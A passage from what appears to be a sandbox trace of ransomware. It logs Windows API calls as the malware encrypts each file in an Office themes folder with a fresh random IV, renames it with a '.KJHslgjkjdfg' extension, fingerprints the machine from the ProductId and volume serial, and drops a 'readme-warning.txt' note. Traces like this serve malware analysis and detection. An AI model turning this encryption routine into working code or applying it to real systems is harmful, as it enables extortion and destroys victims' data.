Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.kjhslgjkjdfg")) returned 1 [0151.025] CloseHandle (hObject=0x118) returned 1 [0151.025] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0151.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.026] GetProcessHeap () returned 0x2a0000 [0151.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.027] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.027] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.027] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0151.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.029] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.029] GetProcessHeap () returned 0x2a0000 [0151.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.029] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0151.029] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.029] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0151.030] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.030] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.030] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.030] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.030] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.030] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.030] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.030] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.030] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbfed, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xbfed, lpOverlapped=0x0) returned 1 [0151.032] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbff0, dwBufLen=0xbff0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbff0) returned 1 [0151.033] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.033] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbff0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xbff0, lpOverlapped=0x0) returned 1 [0151.034] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.034] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xc0b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.034] SetEndOfFile (hFile=0x118) returned 1 [0151.037] GetProcessHeap () returned 0x2a0000 [0151.037] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.037] GetProcessHeap () returned 0x2a0000 [0151.037] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.kjhslgjkjdfg")) returned 1 [0151.041] CloseHandle (hObject=0x118) returned 1 [0151.041] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0151.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.042] GetProcessHeap () returned 0x2a0000 [0151.042] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.042] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.042] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.042] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0151.045] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.045] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.045] GetProcessHeap () returned 0x2a0000 [0151.045] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.045] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0151.045] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.045] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0151.045] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.045] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.045] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.045] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.046] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.046] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.046] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.046] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.046] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x242, lpOverlapped=0x0) returned 1 [0151.046] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250, dwBufLen=0x250 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250) returned 1 [0151.046] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.046] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x250, lpOverlapped=0x0) returned 1 [0151.046] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.046] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.046] SetEndOfFile (hFile=0x118) returned 1 [0151.049] GetProcessHeap () returned 0x2a0000 [0151.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.049] GetProcessHeap () returned 0x2a0000 [0151.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.kjhslgjkjdfg")) returned 1 [0151.053] CloseHandle (hObject=0x118) returned 1 [0151.053] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0151.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.053] GetProcessHeap () returned 0x2a0000 [0151.053] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.054] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.054] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.054] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.057] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.057] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.057] GetProcessHeap () returned 0x2a0000 [0151.057] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.057] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.057] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.057] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.057] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.057] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.057] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.057] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.058] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.058] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.058] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.058] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x47cc, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x47cc, lpOverlapped=0x0) returned 1 [0151.059] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x47d0, dwBufLen=0x47d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x47d0) returned 1 [0151.059] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.059] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x47d0, lpOverlapped=0x0) returned 1 [0151.060] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.060] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x48a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.060] SetEndOfFile (hFile=0x118) returned 1 [0151.063] GetProcessHeap () returned 0x2a0000 [0151.063] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.063] GetProcessHeap () returned 0x2a0000 [0151.063] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0151.064] CloseHandle (hObject=0x118) returned 1 [0151.064] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0151.064] GetProcessHeap () returned 0x2a0000 [0151.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.064] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.064] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.064] GetProcessHeap () returned 0x2a0000 [0151.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.065] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.065] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.065] GetProcessHeap () returned 0x2a0000 [0151.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0151.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.065] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0151.065] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.065] GetProcessHeap () returned 0x2a0000 [0151.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.065] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.065] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.065] GetProcessHeap () returned 0x2a0000 [0151.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.065] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.065] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.065] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.065] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.066] RegCloseKey (hKey=0x118) returned 0x0 [0151.066] GetProcessHeap () returned 0x2a0000 [0151.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.066] GetProcessHeap () returned 0x2a0000 [0151.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.066] GetProcessHeap () returned 0x2a0000 [0151.066] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.066] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.066] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.066] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.066] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.067] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.067] GetProcessHeap () returned 0x2a0000 [0151.067] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.067] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.067] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.067] GetProcessHeap () returned 0x2a0000 [0151.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0151.067] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\readme-warning.txt") returned 81 [0151.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.068] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.069] CloseHandle (hObject=0x118) returned 1 [0151.069] GetProcessHeap () returned 0x2a0000 [0151.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0151.069] GetProcessHeap () returned 0x2a0000 [0151.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0151.069] GetProcessHeap () returned 0x2a0000 [0151.069] HeapFree 